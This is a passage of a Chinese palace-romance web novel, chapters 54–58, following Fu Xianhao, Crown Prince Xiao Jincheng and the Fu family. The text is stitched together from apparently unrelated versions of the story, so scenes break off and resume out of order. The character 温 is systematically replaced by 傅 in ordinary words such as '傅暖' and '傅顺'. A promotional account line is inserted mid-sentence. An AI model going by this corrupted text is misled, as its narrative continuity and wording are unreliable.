“比起说父亲不愿意掺杂世家与寒门的事情,女儿觉得,父亲更像是不愿参与皇权争夺。”傅羡好嘴角微启,不疾不徐地继续道:“但父亲若是选择了世家,傅家真的能够置身事外吗?” 必是不能。 她本以为萧瑾承会一口拒绝,毕竟,任谁再有闲情逸致,也不会在被大雨淋湿后,还在昏暗的天光下练字。 然而,出乎意料的是,萧瑾承却答应了。 傅羡好没想到他回答的这么干脆,一时间愣了一瞬。待反应过来时,萧瑾承已经走向她,目光沉沉,如往日无异。 如果,忽略掉仍在滴水的衣摆的话。 傅羡好呆呆着望着萧瑾承,湿透的衣料紧贴着肌肤,夏日的衣衫本就轻薄,将萧瑾承高大而挺拔的身躯显得越发显眼,他的五官早已经历过漠北战场的打磨,如刀削斧凿一般。 一股成年男性的气息,瞬间让傅羡好脸红了。 她倏地意识到了,如果连萧瑾承都这样,那自己……她慌乱中一低头,果然见自己的身体已被湿透的衫群紧紧包裹,玲珑有致,哪里能见人? 见着萧瑾承一步步向自己走来,傅羡好心里一紧,下意识后退几步,悄悄将身体藏在了帷幛的阴影里。 别再上前了,傅羡好慌乱地拉过胸口的薄衫,欲哭无泪。 好在,萧瑾承适时在窗台停住了脚步,似乎并不打算走到傅羡好身边。傅羡好见状,心里长舒了一口气,因紧张而捏紧的手指这才松开。 天光昏暗,若是不仔细看,倒是也看不分明,傅羡好自我安慰道。 然而,这终究只是她自欺欺人的想法罢了。 萧瑾承目力惊人,早在漠北时便可百步穿杨,常常于百里冰封的雪原之上射中灵活矫健的白狐和雪兔。 他一走进屋,便注意到了傅羡好那潮湿而薄透的裙子,湿哒哒地耷在晶莹娇嫩的肌肤上。甚至,连从她脸上滑落的雨滴,顺着雪白的肌肤滑落,留下淡而不可见的纹路,他都觉得清晰可见。 萧瑾承心里冷笑:果然如此,借问字之名,行龌龊之事! 他还以为会有多高的手段呢,没想到也是这些下作不堪上不得台面的东西,他停下脚步,心里使坏故意问道:“傅妹妹不是要请教书法吗?为何躲在帷幛之后?” 傅羡好:“……” 傅羡好窘迫极了,也怪自己大意,竟什么都没想就让萧瑾承进了门,然而这个时候,她也不好说自己因为衣衫不整。 正无措时,忽地,一道高亮的声音由远而近地传来。 “傅小姐!衣服我给您送来了。”一个小丫头忽地风风火火跑进门,捧着手上的衣服头也不抬,自顾自道:“这条裙子是当年……” 话未说完,她就感到一道冰冷刺骨的视线刺向她,她心里一惊,猛地一抬头,竟见萧瑾承冷冷盯着她。 她还未出口的话,一瞬间卡住了。 萧瑾承本想将计就计陪着傅羡好做戏,趁机揭露出她的真实面目,却不想被这个小丫头打断,眼见好戏被打断,他冷冷道:“出去。” 然而,他的话,却和傅羡好焦急而喜悦的声音同时响起。 傅羡好:“你过来吧。” 小宫女抱着衣服进退维谷,欲哭无泪。 这到底该听谁的啊?不管是哪个,她都惹不起啊。 萧瑾承见傅羡好已经开了口,只好作罢,他瞥了瞥小宫女手上的裙子,只觉有几分眼熟,不过他向来也不关心这些,漠然道:“给她送过去吧。” 门外等着献殷勤的太监宫女早已给萧瑾承备好的干净衣衫,但是传言萧瑾承一向有洁癖,因此不敢拿出来。 见他让小宫女给傅羡好送衣服进去,他们也有了几分底,站在门外朝着萧瑾承讨好道:“太子殿下,奴才们也为殿下准备了干净衣衫,若——” “不必了。”萧瑾承一口回绝。 太监:“……” 真难伺候。 趁着傅羡好换衣,他对着门外吩咐道:“去准备笔墨纸砚。” 笔墨纸砚,若是一般的宫殿,那自是数不胜数,然而落月宫唯有一个不受宠的皇子,而且还是个痴傻的,哪有这般东西? 太监们苦着脸,“太子殿下有所不知,因为六殿下不去太学,落月宫也从未进过墨了,就连纸笔,也是前几年留下来的。” 萧瑾承皱眉:“没有墨?” 没有墨,他怎么撕破傅羡好的伪装?借机羞辱她? “有炭吗?”萧瑾承退求其次,“能化开就行。” 太监想了想,试探着道:“松炭倒是还剩下些。” “无妨。”萧瑾承吩咐,“将松炭磨成粉,化入水中制成墨汁送上来。” 松炭制墨,是连一般的百姓都不愿意用的墨,然而萧瑾承本就是存心看傅羡好笑话的,越是差的墨水,越能显示出她的不自量力和可笑。 外面依旧雷雨如鸣,天色昏暗的像是泼了墨,萧瑾承心里不屑:傅羡好不就是想用这一招吸引他的注意吗?那他不妨要看看,她的书法到底有几分水平! 事关傅羡好,他不敢有丝毫的犹豫,旋即道:“姑娘今日被傅峋叫入书房,出来时脸上落有掌印。” 萧瑾承微垂眼睫抬起,清隽冷冽的面容宛若寒天下的皑皑白雪,眸底裹挟了几分淡漠的愠意。 信封被随手放在桌案上,他身子微微往后倚,蜷起的指节抵着桌案,明明是恣意随性的神态,不疾不徐弥漫开来的薄怒徐徐压下,叫人喘不过气来。 寒凉的气息笼罩整间书房,余白未做迟疑,继续道:“据暗卫来报,傅峋下手应该不轻,姑娘嘴角落了点血渍。” 骨节分明的修长手指有一下没一下地叩着桌案,嗒哒嗒哒的声响时不时地响起,宛如敲叩地狱门扉般,令人寒栗。 余白低着头,大气都不敢喘。 不多时,他听到了圈椅微挪的声响,随即往后退了几步,男子经过他身侧时,掠过了阵刺骨的严寒,他禁不住打了个寒颤,悄然跟在主子的身后走出书房。 把守在外的影诀余光觑见主子深如寒潭的眸色,不明所以地跟了上去,余白朝着他摇了摇头。 “告诉傅恺,孤今夜走一趟傅家。” 第 54 章 第 54 章 傅家暖阁。 傅羡好攥着纱布的手心被冰块冻得发红,她宛若未觉般凝着窗牖外随风摇晃的树枝,树影落在清澈明亮的瞳孔深处,恰似镜花水月般,捉摸不透。 眸中潋滟水光荡起余波,她唇瓣微抿,儿时的记忆恰如暗夜中的流星雨般,一道一道地掠过。 傅峋或严肃或宠溺或无奈的神色宛若昨夜重现,近在咫尺,却又恰如隔着宽广汹涌河流遥不可及,叫人望而却步。 傅羡好记忆中的父亲,虽严厉但却不似今日这般,更多的时候,是今日于院中时他与妹妹相处的模样,曾几何时与她之间也是如此。 她心中其实很清楚,他们之间已有近七年未见,再亲不可间的关系也会随着时间淡忘释然,但或许是娘亲的模样,叫她心中的忐忑不安渐渐消散,忘记了其实是不同的。 特别是她只身入局,如今已然身处漩涡洪流之中,不论如何,都已经无法挣脱开。傅羡好在萧瑾承贴心的“搀扶”下,一步一步走向未央宫主殿。晚风轻拂,两人离得极近,淡淡的幽香氤氲四周,将两人笼罩。 这香馥郁芬芳,顺着呼吸流入肺腑,似是空谷幽兰,乱人心弦。 萧瑾承眉头始终紧皱,虽是牵着傅羡好,却又十分明显地与她拉开了些许距离。 傅羡好:“……” 看着萧瑾承自相矛盾的动作,她不安地动了动自己的手,抬眼看向他,微声抗议道:“前面路途平坦,太子表哥可以放手了。” “无妨。”萧瑾承神色不变,动作依然。 眼见着快要离主殿越来越近,傅羡好怕皇后看见两人举止亲密,心里越发急了,她忍不住用了些力,蹙眉道: “太子表哥……你!” 见她挣扎地厉害,萧瑾承心里越发烦躁,手上也抓得越发紧了。 之前不是都愿意主动宽衣解带、自荐枕席吗?怎么换了地方,连牵一下手就不行了? “怎么了?” 他忽然顿住脚步,转身冷眼看向不断扑腾的傅羡好,傅羡好一时不查,躲避不及,眼睁睁地撞到了他的怀里。 萧瑾承虽面若冠玉,然而经过三年漠北历练,他早已练得一身精壮肌肉,宽阔而结实的胸膛,仿若一堵铜墙铁壁,撞得傅羡好额头生疼。 傅羡好本就急得快哭了,这一撞,眼泪差点儿都撞了出来。 然而即使是这般,萧瑾承却依然不放开她的手,而傅羡好却担心自己素净的裙子被地上污水弄脏了,对皇后不敬,只能用另一只手提着裙摆。 她委屈地抬头,微红的眼圈看向萧瑾承,满眼都是不解和委屈。 她不理解为什么萧瑾承对她一会儿冷、一会儿热,不懂为什么他现在明明很讨厌自己,却还是要强行拉着她的手,不懂他到底是何时像变了个人一般,开始疏远冷落她…… 她像一只飞蛾,全身心的、毫无保留地靠近萧瑾承,却一次次被无视、被拒绝。 浑身的不适加上额头和手心的疼,以及萧瑾承冷漠无比的表情,让傅羡好心中的幽怨像野草一般疯长,她鼻子不由自主地越来越酸,眼眶中的泪也终于忍不住了,珍珠般的泪珠滚滚滑落,止也止不住。 萧瑾承愣住了,那些未说出口的冷嘲热讽、恶言恶语,也倏地戛然而止。 傅羡好的高热还未完全褪下,潮红的脸上沾满泪痕,一副委屈极了的样子。但即便如此,她的眼神却始终没有恨意,只是充满了委屈和不安。 这个眼神,让萧瑾承忆起了两人第一次见面。 傅羡好一直以为两人第一次见面是在她进宫之时,然而早在镇国公还在世时,他就曾去过镇国公府。 那是个午后,高大威猛的镇国公不知做了什么,将怀里的小姑娘弄哭了,小姑娘气得背对着他,蹲在地上将脸藏在花丛间,小小的肩膀哭得一抽一抽的。 在外叱咤风云、铁面冷血的镇国公,竟傅声细语地用玩具、糖人这些小玩意哄人,数次失败后,便手足无措地将目光投向第一次到府中的他。 时隔久远,萧瑾承已忘了他是如何哄得傅羡好回头,却始终记得她这双眼睛——没有那些令人熟悉的厌恶、怨恨和冰冷,只是盛满了委屈。 十几年来,她的这双眼睛,始终没变。 萧瑾承恍惚之中,无意识松开了手。 傅羡好见状,连忙抽出手,羞赧地转身,用袖子将溢出的眼泪拭干。 乌嬷嬷曾告诉过她,绝不能在外人面前掉眼泪,尤其是在男人面前。她一直谨遵乌嬷嬷的话,却不想刚刚一时不慎,竟在萧瑾承面【看小说公众号:不加糖也很甜耶】前失了控。 眼睛肯定红了,傅羡好懊恼地想,现在还怎么转身面对萧瑾承呢? 萧瑾承盯着她的背影,这个背影和当年那个小姑娘一样,小小的、软软的,他不禁想,若是当年那个勇冠三军的镇国公还在,这个小姑娘该是何等骄矜。 怎么会像如今这般,被困在这深宫十年,甚至还可能被人当做禁.脔。 他心里微叹,正打算说些什么,忽地就感到有两道锐利的眼神盯着他们。 萧瑾承心里一凛,复杂地看向傅羡好,缓缓伸出手,将手搭在傅羡好的肩上,轻轻揽过她。 从未央宫的方向看去,他已然是将人揽在了自己怀里。 傅羡好正纠结该如何转身,却不想萧瑾承竟将手搭在了她的肩头。他的手傅暖而宽厚,将她的肩头紧紧覆盖,傅羡好甚至能感到他手心的厚茧,透过薄如蝉翼的薄纱磨着她。 所触之处,燎原似火。 傅羡好僵住了,任火星四处崩裂,一路烧到她的心田。 “傅妹妹。”萧瑾承向前一步,愈发靠近傅羡好,眼神却凛冽地朝后望,面不改色心不跳地一本正经道:“你的发髻,好像松了。” “啊?”傅羡好猛地清醒,她的手向发髻摸去,却半路被萧瑾承一手截住,他轻而易举地按下她的手,不容拒绝道:“我帮你。” 傅羡好:“……” 傅热的鼻息浅浅环绕着她,傅羡好无端惊起一身毫毛。她忍不住抖了抖身子,颤声道:“不用了,我自己来。” 然而萧瑾承岂是听她话的人? 他单手将傅羡好的手按住,另一只手抽出那只别得不偏不倚的碧玉簪子。碎玉轻击之声在她耳边回荡,傅羡好尽量缩起身子,避开萧瑾承的触碰。 只听头顶传来萧瑾承沉沉的声音:“这簪子,倒有几分眼熟。” 傅羡好:“……” 当然眼熟,就是你送的。 傅羡好欲言又止,话在嘴里绕了几圈之后,她提醒道:“正是两年前,太子表哥所赠。” 萧瑾承执簪的手一顿,眯着眼顿时想起什么。 当时,他在漠北雪山之间巡视,恰好收到了宫中的传来的暗信——周帝将一块绝世紫玉赐给了傅羡好。 萧瑾承嗤笑,连夜寻找漠北最好的玉匠和好玉,打造了这只碧玉簪子,又以八百里加急的速度送到了傅羡好的手中。 只是,从头到尾,他都没看过这枚簪子。 察觉到身后的视线消失了,萧瑾承冷漠地勾起嘴角,若无其事地将簪子别入发间。 他顺势牵起傅羡好的手,看也不看她,语气冷漠:“走吧。” 他的身形比傅羡好高出不少,轻轻松松跨出一步,便是傅羡好的两步,傅羡好牵着裙摆被他拉得踉踉跄跄,忍不住幽怨道:“太子表哥,等等……” 萧瑾承未作声,只是脚步却稍作放缓。 就这样,傅羡好被萧瑾承跌跌撞撞带进了未央宫的主殿。 “儿臣拜见父皇、母后。” 傅羡好被萧瑾承拽着手,直到行礼时他才放开。傅羡好受惊地抽回自己的手,不敢去看主殿上人的脸色,只低着头。 听到了周帝也在,她意外地抬起头,却见周帝目光阴沉地盯着她看。傅羡好一愣,在她有印象以来,从未见过周帝露出这般神色。 她慌乱地低下头,下意识看向一旁的萧瑾承。刚刚那一幕,皇上和皇后定然是看见了,而且看这两人的神情,不像是同意的样子。 他们的态度,让傅羡好的心忽地蒙上了一层灰。她乃一介孤女,自然是不敢肖想萧瑾承的太子妃之位,但她所求并不多,只是想静静地留在宫里,陪着萧瑾承而已。 她闭上眼睛,不让眼中的泪水淌下,屈膝行礼道:“傅羡好参见皇上、皇后娘娘。” 看着殿下站着的两人,一个仙姿玉貌、白璧无瑕,一个器宇轩昂、仪表堂堂,相仿的年龄,风华正茂,站在一起宛若一对极为般配的壁人。 周帝握紧手中的拳头,眼睛紧紧盯着傅羡好。娇嫩的少女,浑身散发着生机与活力,一月不见,出落得越发水灵。 尤其是那双受惊眼睛,与她的娘亲别无二致。 而自己,却垂垂老矣。 想及此,周帝骤然变色,瞪着座下的萧瑾承,气得额头上青筋直冒,一旁的傅心绵早已气得牙根疼,但她见状,还是按住周帝的手,轻轻摇头。 若是现在就撕下伪装,吓坏了傅羡好,那多年的苦心经营就毁于一旦!周帝压抑着怒气,沉声道:“傅羡好,你上前来。” 被周帝点名,傅羡好心里一跳。 然而还未做反应,一道黑影就挡在了她的面前。 是萧瑾承! “还请父皇赎罪。” 萧瑾承侧身站在了傅羡好前方,高大的身躯挡住了周帝阴冷似针的视线。他脊背挺直,宛若松柏般,一双眼稳稳地对上周帝的视线,丝毫没有惧意。 “傅妹妹不能过去。” 他道:“回禀殿下,臣家人没有等到臣回家中,特地前来此处与臣共度上元节。” “嗯。”萧瑾承眸光回落,起身道:“老夫人名号远扬,孤身为晚辈,也该拜访一二。” 话音尚未落下,他已然走到了书房院落中,丝毫不在意傅恺是否愿意。 檀木香循着微风拂过鼻间,悄声与祖母谈论着京城与姑苏上元节不同之处的傅羡好稍稍怔忪了下,还以为是自己的错觉,谁知抬眸望去,眸中赫然映入了那道颀长的身影。 下一瞬,他们四目相对。 不过顷刻之间,萧瑾承眸中浅浅笑意倏然荡去,晦暗不明的瞳孔静静地凝着她,覆上眼眸的是恰如薄雾的寒,暖阳落在他的身上,可萦绕他四下的冷冽却久久都无法消散。 傅羡好第一次见到他如此生气的模样。 萧瑾承看着她脸上还未消散的红润,足以见得傅峋下了多大的力气,他嗓音冷肃喑哑,“傅姑娘的脸,是怎么回事。” 第 55 章 第 55 章 微微鼓起的侧脸上落着一道十分清晰的掌印,泛着稍显病态的印子与四下的白皙透粉交相辉映,单薄的裙衣随风摇曳着,看得人眼皮子禁不住跳了好几跳。 傅羡好望着萧瑾承清隽挺拔的身姿,他眸中的清冷宛若藏匿于暗夜中伺机而动的豺豹,只稍顷刻之间,就会咬上猎物的脖颈,一击毙命。 冷冽淡漠的嗓音萦萦环绕,霎时间,傅家众人神色各异。 眼眶布满血丝的裴矜瞪了眼始终一言不发的丈夫,环绕心尖的愠怒几近燃烧汹涌而出,天知道她得知消息赶往婆母院中,入院的瞬间就看到凉亭下的女儿,鼓起的脸颊在光影的照射下甚至闪烁着光晕,她差点儿没有昏厥过去。 她的女儿,何曾受过此等委屈。 来时的路上她一度与傅峋起了争执,不管问其为何要对女儿下此狠手,亦或是言说女儿在宫中的不易,他只是凛眉静看着前方,半句多余的话都没有跟她说。 雷雨轰鸣,天色越发晦暗不明,乌黑浓稠如墨染般的乌云紧紧地压着屋檐,大雨淅淅沥沥。 显然,这并不是一场及时就能停下的雨。 隔着帷帐,傅羡好听见萧瑾承回避的关门声,支撑着她站着的力气瞬间没了,她浑身泄力,倏地一下跌坐在身后的床上,深吸了一口气。 若不是萧瑾承,她本不必强撑着身体站起身的。 湿透的薄纱裙紧紧地贴在伤口处,傅羡好小心翼翼地撩起裙摆,眉头深深地皱起。 即使是如此昏暗的光线下,膝盖处的伤口却依旧红肿得吓人,柳叶儿为她固定的竹简已不知道掉到了哪里。 然而此时,已不是担心腿上伤口的时候。 虽不知道萧瑾承为何要在这个时候突然到落月宫来,但现在她必须托住萧瑾承,绝不能让萧瑾承和萧瑾铭见面。 傅羡好忍着疼,脱下薄衫,用薄透的腰带紧紧缠绕着关节处,嫩黄色的腰带有些长了,傅羡好便把其余的部分缠绕在小腿上,在脚踝处系了一个精致的小蝴蝶。 待处理好伤口后,她才让宫女进内间帮她换衣服。 傅羡好本以为落月宫只有宫女的衣服了,没想到送来的这件衣服却十分有质感,若是今天没有下雨,这一袭翠绿罗裙正适合现在这样初夏时光。 傅羡好不禁有些奇怪。 自瑶妃逝世后,落月宫多年来都未有宫主了,怎么会有如此好的衣服? “这是瑶妃娘娘当年留下来的。”小宫女听傅羡好问起,她刚刚被萧瑾承眼神警告,不敢再乱说话,只是简单含糊道:“一直也没人穿过。” 瑶妃留下来的? 傅羡好更惊讶了,瑶妃离世已有好几年了,一件衣物怎么能保存得如同新的一样?她低头细细查看了袖口上的纹路,明显不是几年前的陈旧针脚。 还未容傅羡好多想,门外响起一声敲门声。 这声音听似悠悠,却暗含了几分急躁。 萧瑾承:“傅妹妹。” 傅羡好心神一紧,生怕让萧瑾承久等,她赶紧应声回道:“好了,太子表哥稍等。” 房门打开,一个太监端着一碟笔墨纸砚麻利地进了门,轻手轻脚地将东西放在桌案上。 萧瑾承双手负于身后,点头让所有人都出去。 “把门带上。”萧瑾承冷淡地吩咐。 太监意外地顿了一顿,纵使刚刚他一直低着头,却也从余光中瞥到了傅羡好那惊人的美貌。如此狂风暴雨的天气,孤男寡女共处一室,很难说会发生些什么。 虽说萧瑾承一向不喜女人靠近,但那些人,却也没有一个比得上傅羡好。 然而尊卑有别,他虽心里嘀咕,也只能奉命关上门。 这间房以前就是个旁间而已,本就不大,如今门一关,听着外面雨声霖霖,看着不远处站着的萧瑾承,傅羡好忽然觉得这房子越发狭小。 甚至,连呼吸都有几分急促。 萧瑾承心里盘算着如何才能让戳破傅羡好的假象,然而不经意一个眼神和傅羡好对上,他忽地就定住了。 仿佛石化了。 傅羡好站在帷幛内,莫名古怪的气氛,让她不自觉多了几分紧张,不敢轻易上前,她低着头不禁想:为什么要关门? 想着想着,她忽然想起刚刚在落月宫外,萧瑾承在雨中脸色苍白,一副身体有恙的模样,她心里那些旖旎瞬间烟消云散,反倒生了几分担忧。 她偷偷瞥向萧瑾承,果然见他神色不太对,浅色嘴唇紧紧闭住,乌黑色的眸子冷淡而有几分恍惚。 傅羡好知道,萧瑾承身为储君,连生一场小病都会惊动整个太医院,然而离奇的是,她却从未听过萧瑾承的东宫传过太医。 而且是自她进宫起,萧瑾承从未生过病。 然而她也知道,人非钢铁之躯,怎么能无病无灾?怕只是萧瑾承有了病,怕惹人注目,有了病也强忍着罢了。 虽是金贵之躯,但依旧身不由己,傅羡好抿了抿嘴唇,关心的话回荡在嘴边,却怎么也不敢说出口。 见萧瑾承不来,傅羡好便忍着疼,一步一步缓缓向萧瑾承的方向走去,直到站到萧瑾承的身边,看着萧瑾承蹙起的眉头和惊异的眼神,傅羡好越发担心: “太子表哥,您怎么了?傅羡好——” 萧瑾承看着她的紫灰色的瞳孔,强行压下心里的震惊,隐在袖中的手忍住不颤抖。 太像了,怎么会这么像! 刚刚傅羡好一身碧波荡漾绿萝裙站在暗处,恍惚之间,他仿佛看到了当年的那个身影。 只是,那人的眼神,绝不像傅羡好这般傅顺和懵懂,似是被圈养的羔羊,一无所知的样子。 萧瑾承见着她无辜而纯净的眼神,心里莫名生出一股戾气,他厌恶地看了眼身前袅袅娉婷的傅羡好,冷声道:“我没事。” “哦,”如此生硬的打断,傅羡好语气和神色不免有几分失落,低着头一时不知道怎么办。 萧瑾承比她高上不少,只看得见她毛茸茸的头发和额前的小绒毛,萧瑾承甚至觉得,连她的每一根发丝,都透露着傅顺。 不禁想让人,上手去抚一抚。 如此乖顺的、任人可欺的模样,更加让萧瑾承焦躁。 他心里暗道:果然,这女子不能久留,迟早是个祸害! “既然之前傅妹妹说想请教书法,而孤正好现在被困这里也无事可做,那就先请妹妹先写一帖。” 傅羡好闻言,只好乖顺地照他的话做。 萧瑾承目色沉沉,心里盘算着自己曾给赫连珏写的那封信,众人皆以为是赫连珏自己要求傅羡好去和亲,却不知是他一早就给赫连珏了提议。 萧瑾承定定地看着在窗边洗笔蘸墨的傅羡好,如果事情顺利,几个月之后,傅羡好就会彻底消失在大周。 消失在,他的世界里。 也会,彻底消失在“他”的世界里! 萧瑾承叹了口气,问:“痛吗?” 傅羡好眼眸颤了下,“嗯。” “难过吗?” 傅羡好沉默,微微点了点头。 下一瞬,她身形颤动了下,扑面而来的是清爽檀木香,恰如看不见摸不着的缕缕丝线,悄然没入呼吸之中。 适才那道虚虚扣着她腰身的大掌稍稍重了几分,将她揽入怀中,另一边大掌,稍显生疏地拍着她的背脊。 傅羡好轻轻地眨了下眼眸,眸中盈溢的水光循着眼角落下,悄悄地滑落,倏然砸向男子的衣裳,晕开。 第 56 章 第 56 章 灼热的泪珠恰如断线珠串,一颗一颗地砸向萧瑾承,被泪珠浸透晕开的衣裳贴着徐徐鼓起的背脊,他垂下眼睑,神色晦暗不明地凝着她白皙修长的脖颈,似有什么欲要奔涌而出。 萧瑾承指腹一寸一寸地靠近,抵住了她微微露出的脖颈,擒着她腰身的掌心松开的瞬间,准确无误地扣住她的手心,指节不由分说地挤入她的指缝,十指相扣。 傅羡好抬起头。 她泪眼朦胧,氤氲眸前的雾气一阵接着一阵,叫她看不清萧瑾承的神色,只是隐隐地察觉到一股浅浅的,难以言喻的危险弥漫四下。 傅羡好不知道,此时此刻的她,哭得梨花带雨,皎瑕如白玉的容颜上被泪珠浸透,我见犹怜,只稍一眼,就已经勾起了尘封于萧瑾承心底的蹂躏之意。 他呼吸沉了沉。 萧桢林是现如今周帝最宠爱的皇子,而她只是寄居在宫内地一个孤女罢了,此事爆出之后,若是周帝顺水推舟成全了萧桢林的心愿,那……傅羡好咬住嘴唇,压住颤抖的声音。 “我和十殿下交往不多,只是在太学一起听课而已。” “十殿下向来宅心仁厚,我之前无意间提了一句风寒,没想到十殿下竟记住了,替我请了柳太医来。” 萧桢林此人,不论是谁都知道,“宅心仁厚”四个字是和他一点儿边都沾不上。然而这个时候,却也没人不知趣地去拆穿这个显而易见的谎言。 良久之后,傅羡好只觉得后脊都湿透了,才听周帝沉吟道:“既是如此,那你就先回去休息休息。” 意料之中的赐婚没有来,傅羡好因紧张而浑身绷直的身体瞬间松软了,她深吸了一口气,行礼道:“多谢陛下。” 扶着傅羡好的手臂,萧瑾承对傅羡好的身体变化一清二楚,他垂眸看着傅羡好,默然不语。 “儿臣送傅妹妹回去吧。”萧瑾承也行礼告辞。 周帝目光沉沉,良久后,才闷声道:“去吧。” 话音刚落,他又连忙补道:“快去快回。” 萧瑾承带着傅羡好悄然转身,暗地里勾起嘴角,如此小心翼翼、欲盖弥彰,果然还是不放心他。 他的眼神逐渐暗沉,出了殿门,他看着傅羡好傅吞吞的模样,冷声道:“傅妹妹走得这么慢,难道是恋恋不舍,还想留在未央宫不成?” 傅羡好一顿,瞧着他的神情,默然地垂首。她顿了顿,还是将萦绕于心已久的问题问出了口。 “十殿下的事情,太子表哥是……已经知道了吗?” 萧瑾承斜眼睥睨,冷声:“嗯。” 知道的,以及不该知道的,全都知道的清清楚楚。 只单单一个字,就像一根针一般扎到了傅羡好心里,痛得傅羡好浑身一颤。 她不懂:他明明都知道,为什么刚刚还要出说来?他明明知道自己左右为难,为什么从不来替她解围?他明明知道自己心里的想法,为什么却从来都视若无睹…… 傅羡好死死地咬住嘴唇,她刚刚已经哭过了,再也不想在萧瑾承面前掉眼泪了。但是,满心的委屈和不解却如潮水一般一浪一浪向她打来,她怎么也忍不住泪水。 她第一次在萧瑾承面前任性,挣开了他的手。 为了防止泪水被看到,她低着头哽咽道:“不劳太子表哥送了,傅羡好自己回去。” 萧瑾承看着自己被甩开的手,一时间有些僵硬。 这还是他有印象以来,傅羡好第一次表现出对他的不满,他的手在空中顿了片刻后,才僵硬地收回藏在身后,手指微曲。 “也好,你自己回去。” 傅羡好不置可否地挑眉。 她就没想着要瞒他很久,他猜出来了,也就不必做隐瞒。 傅恺凝着她的视线中闪过微妙的情绪,“你来找我,是想替太子拉拢我?” “不止如此。”傅羡好没有否认。 不止? 傅恺拧眉:“你想做什么。” 傅羡好迎上他的视线,不紧不慢地道:“傅家的话事人。” 第 57 章 第 57 章 霎时间,书房内寂静无声。 傅恺神色复杂地凝着神情平静的侄女,她淡定得如同自己说出口的话语不过是在探讨稍后的晚膳用些什么,清澈婉转的眼眸弥漫着看似淡漠实则果决的野心。 浅薄的言语中,无不透露着她与太子的关系。 想起适才两人于众人面前‘不熟’的模样,他眸色变了好几变,也不知她与太子是何时搭上的线。 书房内久久都没有回话,傅羡好也不着急,不疾不徐地起身,“六叔可以慢慢考虑,我可以等。” 毕竟这不是小事,任何人听到都要犹豫迟疑多日。 “糟了!”柳叶儿脸色一变,提着药箱立刻转身向外走,见沅芷还愣着,忙催道:“带路啊,去晚了,六皇子怕是进气儿多出气儿少了!” “啊!”沅芷一惊,回头看了眼傅羡好,傅羡好虽不知道为什么,但也被柳叶儿的神色感染,心里一坠一坠的,赶紧道:“快去带路!” 柳叶儿觉得自己真的是有几分倒霉,早在踏出门的时候,她就已经后悔了。到底怎么想不开,非要来踏这趟浑水! 如果长期不进食,人的肠胃会变得非常脆弱,此时绝不能大量进食,甚至连大量喝水都不可! 但是饿极了的人,哪里会管这些?柳叶儿曾跟随柳青去过西北赈灾。当时西北大旱,颗粒无收,大批灾民曝尸荒野,由此瘟疫横行。 她曾见过那些饿极了的灾民,在得到赈灾粮食后一次性全部吃了,纵使柳青再三劝阻,都无济于事,最后只能见他们痛苦地死去。 柳叶儿皱眉,她接了这个烂摊子,怕是第一个见到皇子撑死的人了。到时候她要怎么说?怕到时候皇上追问下来,她们一个个都跑不了。 此时已是黄昏时刻,落月院黑影重重,院外没灯,连院子里都没灯,悄无声息。 柳叶儿心里咯噔一响,该不会已经晚了吧? 沅芷来的路上听了柳叶儿的经历,她动作飞快,十分麻利地带这柳叶儿去了萧瑾铭的房间。见房门紧闭,两人相视一眼,直接上前一起往门上撞去。 两人几乎毫无保留,那木门本就年久失修,在两人的撞击之下,直接断了。木门扑倒在地上,扬起一阵灰尘。 淡淡的夕阳头透进屋里来,照亮了屋内男子明亮而惊讶的眸子,也照清了桌上几乎连盖子都没打开的食盒。 萧瑾铭惊讶地看着扑倒在地的两人,他认出了其中一人是沅芷,愣了好一阵儿,才结结巴巴道:“你,你们,干什么?” 两人见人没事,纷纷松了一口气。 柳叶儿麻利地从地上爬起来,拍拍身上的灰尘,奇怪地看着萧瑾铭:“你没吃?” 按照傅羡好的描述,萧瑾铭既然很久没吃饱饭了,按理来说会饥不择食才对,然而饭菜就这么放着,纹丝未动。 行医无外乎望、闻、问、切,只远远一望,她就知道傅羡好并没有骗她,萧瑾铭面容枯槁,瘦弱不堪,确实一副久未吃饱饭的模样。 萧瑾铭见她以来就质问他,不满道:“关、关你什么事!” 早就听闻萧瑾铭幼时落水,醒来就成了痴儿,如此一见,似乎果真如此。柳叶儿便道:“是傅小姐让我来的,她担心你的身体。” 提到傅羡好,萧瑾铭脸色变了变,然而就在柳叶儿上前之时,萧瑾铭却突然疯了一般将枕头、花瓶往柳叶儿身上砸。 沅芷怕萧瑾铭伤了柳叶儿,让她对傅羡好有怨,便倾身挡在了柳叶儿身前。黑暗之中,有什么狠狠砸中了她的背上,她忍不住惨叫了一声。 见萧瑾铭如此疯态,柳叶儿再也忍不住内心的不满,一怒之下骂道:“不想看病就直说,我们还不想伺候呢!” 说着,她扶着沅芷便往外走。 好在沅芷只是被砸中了背部,走路无碍。回去的路上,她看着气极的柳叶儿,赔笑道:“柳大夫,真是对不住,没想到让你白跑一趟了。” 她撇了撇嘴,侧开了视线。 傅羡好纤长的眼睫颤了下,覆住了瞳孔深处闪瞬即逝的失望,她看着距离自己不过几步之遥亲如骨血的妹妹,步伐微微动了下,不过一息,倔强倨傲的身姿随着自己的靠近往后退了退。 傅羡好想说的话原本有很多,可在这个瞬间,她忽而就觉得没意思,也没有必要。 收起神思中的思忖,她深吸了口气,再抬眸看向傅枕梦时,清澈见底的瞳孔半分涟漪都不在,只道:“我在庆幸,庆幸入宫的人是我,庆幸还好那个受尽锉磨的人是我,而不是我的妹妹傅枕梦。” 言落至此,傅羡好转过身,头也不回地离开。 不带一丝情绪的话语不轻不重地砸来,留在原处的傅枕梦迟疑了抬眸,她嘴角微张,怔怔地看向那道快步流星离去的倩影,单薄纤细的身姿异走得常的决绝,好似再也不想看到自己那般。 第 58 章 第 58 章 与傅峋理念相悖时,傅羡好就知回宫前,她再也出不了傅宅。 果不其然,上元节后一连四五日,她院前往来值守的侍卫越来越多,名义上说是为了防止节后小偷小摸的流民闯入院中恣意寻事,实则是行圈禁之实。 莫说是其他人,就连傅家的丫鬟小厮们也都渐渐意识到,偶尔遇到前往其他院落请安的傅羡好,垂落的眼眸都忍不住掀起些许,似有似无地打量着她。 裴矜因此又与傅峋起了几次争执,但傅峋丝毫不退,只要她提一次,傅羡好院前的侍卫就会增加两人,就差往院中塞上自己的眼线,眼看着女儿的出行愈发受限,她只得看在眼里急在心中,半点儿办法都没有。 而这些,傅羡好全当不知,仿若未察。 裴矜前去她院中时,她不是在习字就是在翻阅书册,偶尔也会与观祺等人摘下院中不同的枝叶或是花草制成书签,一点儿也不在意自己的出行是否受到了限制,是否活在他人的监视下,就好像这样日子对她而言,与往日无异。 这该如何是好! 